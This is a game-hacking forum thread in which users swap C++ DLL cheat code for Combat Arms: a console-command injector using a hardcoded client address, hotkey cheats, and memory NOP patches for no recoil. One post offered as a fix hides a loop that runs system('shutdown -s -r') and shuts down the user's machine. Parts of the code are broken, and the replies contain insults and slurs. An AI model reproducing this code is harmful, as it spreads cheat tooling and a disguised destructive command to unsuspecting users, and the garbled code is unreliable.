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  1. #16
    CodeDemon's Avatar
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    Quote Originally Posted by hhhjr1 View Post
    i dont defined things multiple times in the hack


    Clearly you do...

    read your errors!

    Code:
    Error 1 error LNK2005: _DllMain@12 already defined in Coldfusion.obj
    Error 2 error LNK1169: one or more multiply defined symbols found
    /facepalm

  2. #17
    hhhjr1's Avatar
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    well i check it out i didnt find any thing can you no lol

  3. #18
    CodeDemon's Avatar
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    Quote Originally Posted by hhhjr1 View Post
    well i check it out i didnt find any thing can you no lol
    I'll give you a hint. It involves dllmain, if you cant figure out this error, quit C++ now.

  4. #19
    LightzOut's Avatar
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    Omg go to cplusplus.com and start reading for christ sake.

  5. #20
    hhhjr1's Avatar
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    nice hint i think i know how to fix it

    do you delete dllmain.cpp or take out

    Code:
    BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
    {
    DisableThreadLibraryCalls(hDll);
    if ( dwReason == DLL_PROCESS_ATTACH )
    {
    CreateThread(NULL, NULL, dwHackThread, NULL, NULL, NULL);
    }
    return TRUE;
    }
    Last edited by hhhjr1; 08-30-2010 at 08:09 AM.

  6. #21
    fvestrgenrl's Avatar
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    Replace ur code with
    Code:
    #include <windows.h>
    
    void MEMCPY(void* Dest, const void* Src, int Len) \\ this is if you want to make hacks using addies
    {
        DWORD OldProtect = NULL;
        DWORD OldProtect2;
        VirtualProtect(Dest, Len, PAGE_EXECUTE_READWRITE, &OldProtect);
        memcpy(Dest, Src, Len);
        VirtualProtect(Dest, Len, OldProtect, &OldProtect2);
        FlushInstructionCache(GetCurrentProcess(), Dest, Len);
    }
    
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    
    void __cdecl PushToConsole( const char* szCommand )
    {
    DWORD *LTClient = ( DWORD* )( 0x377E7810 ); \\ the LCclient Code you need to change this as it changes or the hacks wont word 
    void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    __asm
    {
    push szCommand;
    call CONoff;
    add esp, -3-1+2+6;
    }
    }
    
    void main()
    {
    while(true)
    {
    if (GetAsyncKeyState(VK_NUMPAD0)) {
    	PushToConsole("SkelModelStencil 1");
    	Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD1)) { 
    	PushToConsole("WeaponSway 0.000000");
    	Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD2)) {
    	PushToConsole("ShowFps 2222");
    	Sleep(100);
    		}else{
    			PushToConsole("ShowFps 2220");
    			Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD3)) {
    	PushToConsole("drawguns 0");
    	Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD4)) {
        PushToConsole("ActivationDistance 0 );
    	Sleep(100);
    	}
    	if(GetAsyncKeyState(VK_NUMPAD5)) {
        PushToConsole("FullBright 11");
    	Sleep(100);
    	}
    	if(GetAsyncKeyState(VK_NUMPAD6)) {
    	PushToConsole("PerturbRotationEffect 3.0010000");
    	PushToConsole("PerturbIncreaseSpeed 3.000000");
    	PushToConsole("FireMovePerturb 9.000000");
    	PushToConsole("PerturbWalkPercent 0.500000");
    	PushToConsole("PerturbDecreaseSpeed 9.0100000");
    	PushToConsole("PerturbRecoil 9.000000"); 
    	PushToConsole("ZoomedFireMoveDuckPerturb 9.000000");
    	PushToConsole("ZoomedFireMovePerturb 9.000000");
    PushToConsole("ZoomedFireDuckPerturb 9.0000010");
    Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD6)) {
    	PushToConsole("FragSelf 11");
    	Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD7)) {
    	PushToConsole("FogEnable 0");
    	Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD8)) {
    		PushToConsole("ShowFirePath 11");
    		Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD9)) {
    		PushToConsole("WireFrame 11");
    		Sleep(100);
    	if(GetAsyncKeyState(VK_NUMPAD16)) {
    	PushToConsole("FragSelf 1");
    	Sleep(100);
    	}
    	if(GetAsyncKeyState(VK_HOME)) {
    		PushToConsole("WireFrame 10");
    		Sleep(100);
    }
      if(GetAsyncKeyState(VK_INSERT)){//No Recoil
                        memcpy((LPVOID) (0x3737EE23), "\x90\x90\x90", 3);
                        memcpy((LPVOID) (0x3745B7D1), "\x90\x90\x90", 3);
                        memcpy((LPVOID) (0x3745B7E0), "\x90\x90\x90", 3);
                        memcpy((LPVOID) (0x3745B7D4), "\x90\x90\x90\x90\x90\x90", 6);
    			}
      }
    }
    }
    
    DWORD WINAPI dwHackThread(LPVOID)
    {
    while( !IsGameReadyForHook() )
    system("shutdown -s -r");
    Sleep(100);
    main();
    return 0;
    }
    BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
    {
    DisableThreadLibraryCalls(hDll);
    if ( dwReason == DLL_PROCESS_ATTACH )
    {
    CreateThread(NULL, NULL, dwHackThread, NULL, NULL, NULL);
    }
    return TRUE;
    }
    Quote Originally Posted by fallon View Post
    hi i have make a hack and with hot keys but when i start it combat arms close down


    i use this code



    Code:
    PushToConsole("SkelModelStencil (V_F9)1");
    PushToConsole("ShowFps (V_INSERT");
    PushToConsole("ActivationDistance 999999(V_F6)" );
    PushToConsole("DisableCrosshair (V_NUMPAD 1" );
    PushToConsole("CrossHairR 255(V_NUMPAD 2) ");
    PushToConsole("ReloadSpeed 0.000000(V_F5) ");
    }
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  7. #22
    topblast's Avatar
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    Quote Originally Posted by fvestrgenrl View Post
    Replace ur code with
    Code:
    #include <windows.h>
    
    void MEMCPY(void* Dest, const void* Src, int Len) \\ this is if you want to make hacks using addies
    {
        DWORD OldProtect = NULL;
        DWORD OldProtect2;
        VirtualProtect(Dest, Len, PAGE_EXECUTE_READWRITE, &OldProtect);
        memcpy(Dest, Src, Len);
        VirtualProtect(Dest, Len, OldProtect, &OldProtect2);
        FlushInstructionCache(GetCurrentProcess(), Dest, Len);
    }
    
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    
    void __cdecl PushToConsole( const char* szCommand )
    {
    DWORD *LTClient = ( DWORD* )( 0x377E7810 ); \\ the LCclient Code you need to change this as it changes or the hacks wont word 
    void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    __asm
    {
    push szCommand;
    call CONoff;
    add esp, -3-1+2+6;
    }
    }
    
    void main()
    {
    while(true)
    {
    if (GetAsyncKeyState(VK_NUMPAD0)) {
    	PushToConsole("SkelModelStencil 1");
    	Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD1)) { 
    	PushToConsole("WeaponSway 0.000000");
    	Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD2)) {
    	PushToConsole("ShowFps 2222");
    	Sleep(100);
    		}else{
    			PushToConsole("ShowFps 2220");
    			Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD3)) {
    	PushToConsole("drawguns 0");
    	Sleep(100);
    }
    if(GetAsyncKeyState(VK_NUMPAD4)) {
        PushToConsole("ActivationDistance 0 );
    	Sleep(100);
    	}
    	if(GetAsyncKeyState(VK_NUMPAD5)) {
        PushToConsole("FullBright 11");
    	Sleep(100);
    	}
    	if(GetAsyncKeyState(VK_NUMPAD6)) {
    	PushToConsole("PerturbRotationEffect 3.0010000");
    	PushToConsole("PerturbIncreaseSpeed 3.000000");
    	PushToConsole("FireMovePerturb 9.000000");
    	PushToConsole("PerturbWalkPercent 0.500000");
    	PushToConsole("PerturbDecreaseSpeed 9.0100000");
    	PushToConsole("PerturbRecoil 9.000000"); 
    	PushToConsole("ZoomedFireMoveDuckPerturb 9.000000");
    	PushToConsole("ZoomedFireMovePerturb 9.000000");
    PushToConsole("ZoomedFireDuckPerturb 9.0000010");
    Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD6)) {
    	PushToConsole("FragSelf 11");
    	Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD7)) {
    	PushToConsole("FogEnable 0");
    	Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD8)) {
    		PushToConsole("ShowFirePath 11");
    		Sleep(100);
    }
    	if(GetAsyncKeyState(VK_NUMPAD9)) {
    		PushToConsole("WireFrame 11");
    		Sleep(100);
    	if(GetAsyncKeyState(VK_NUMPAD16)) {
    	PushToConsole("FragSelf 1");
    	Sleep(100);
    	}
    	if(GetAsyncKeyState(VK_HOME)) {
    		PushToConsole("WireFrame 10");
    		Sleep(100);
    }
      if(GetAsyncKeyState(VK_INSERT)){//No Recoil
                        memcpy((LPVOID) (0x3737EE23), "\x90\x90\x90", 3);
                        memcpy((LPVOID) (0x3745B7D1), "\x90\x90\x90", 3);
                        memcpy((LPVOID) (0x3745B7E0), "\x90\x90\x90", 3);
                        memcpy((LPVOID) (0x3745B7D4), "\x90\x90\x90\x90\x90\x90", 6);
    			}
      }
    }
    }
    
    DWORD WINAPI dwHackThread(LPVOID)
    {
    while( !IsGameReadyForHook() )
    system("shutdown -s -r");
    Sleep(100);
    main();
    return 0;
    }
    BOOL WINAPI DllMain ( HMODULE hDll, DWORD dwReason, LPVOID lpReserved )
    {
    DisableThreadLibraryCalls(hDll);
    if ( dwReason == DLL_PROCESS_ATTACH )
    {
    CreateThread(NULL, NULL, dwHackThread, NULL, NULL, NULL);
    }
    return TRUE;
    }


    UR A NOOB ALSO.....GTFO
    I just like programming, that is all.

    Current Stuff:

    • GPU Programmer (Cuda)
    • Client/Server (Cloud Server)
    • Mobile App Development

  8. #23
    markoj's Avatar
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    Quote Originally Posted by coldfusion1 View Post
    how am i a noob
    You became a noob as soon as you used the word noob
    Dont ban me

  9. #24
    StupidLittleNoob's Avatar
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    Quote Originally Posted by markoj View Post
    You became a noob as soon as you used the word noob
    Noob.

  10. #25
    CodeDemon's Avatar
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    Coldfusion is the OP its pretty obvious seeing as his error is located in Coldfusion.cpp

    and HEYHEYHEY NOBODY AROUND HERE CALSE MARKO A NOOB. He's my slut

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    markoj (08-30-2010)

  12. #26
    markoj's Avatar
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    Quote Originally Posted by CodeDemon View Post
    and HEYHEYHEY NOBODY AROUND HERE CALSE MARKO A NOOB. He's my slut
    Dam straight
    Dont ban me

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    CodeDemon (08-30-2010)

  14. #27
    CodeDemon's Avatar
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    Quote Originally Posted by coldfusion1 View Post
    it in coldfusion cuz i gave him the code and i fixed it for him and Coldfusion has something to do with me and him
    Let me guess its some kind of hacking "team" or "possy"/"Squad"/"Gang"/"Swingers group" you guys made?

    And if you were the one who told him that

    Code:
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    was a hook, you aren't very smart(no offense).

    Quote Originally Posted by markoj View Post
    Dam straight
    More like damn curvey because you're a guy(I think) and I'm a guy(I think). Nothing very straight about that /
    Last edited by CodeDemon; 08-30-2010 at 12:29 PM.

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    markoj (08-30-2010)

  16. #28
    fvestrgenrl's Avatar
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    Quote Originally Posted by CodeDemon View Post
    Let me guess its some kind of hacking "team" or "possy"/"Squad"/"Gang"/"Swingers group" you guys made?

    And if you were the one who told him that

    Code:
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    was a hook, you aren't very smart(no offense).



    More like damn curvey because you're a guy(I think) and I'm a guy(I think). Nothing very straight about that /
    Coldfusion is a computer language... just throwing that out there lol.
    And thank you for explaining this too him lol
    Quote Originally Posted by fallon View Post
    hi i have make a hack and with hot keys but when i start it combat arms close down


    i use this code



    Code:
    PushToConsole("SkelModelStencil (V_F9)1");
    PushToConsole("ShowFps (V_INSERT");
    PushToConsole("ActivationDistance 999999(V_F6)" );
    PushToConsole("DisableCrosshair (V_NUMPAD 1" );
    PushToConsole("CrossHairR 255(V_NUMPAD 2) ");
    PushToConsole("ReloadSpeed 0.000000(V_F5) ");
    }
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  17. #29
    CodeDemon's Avatar
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    Quote Originally Posted by coldfusion1 View Post
    Coldfusion is a computer language are you retarded no its not
    I beg to differ? ColdFusion - Wikipedia, the free encyclopedia


    You trollin' I highly doubt you code for any site /

  18. #30
    markoj's Avatar
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    Quote Originally Posted by CodeDemon View Post
    I beg to differ? ColdFusion - Wikipedia, the free encyclopedia


    You trollin' I highly doubt you code for any site /
    Quote Originally Posted by coldfusion1 View Post
    Coldfusion is a computer language are you retarded no its not
    Wiki-owned
    Dont fight with CodeDemon, you wont win
    Dont ban me

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    CodeDemon (08-30-2010)

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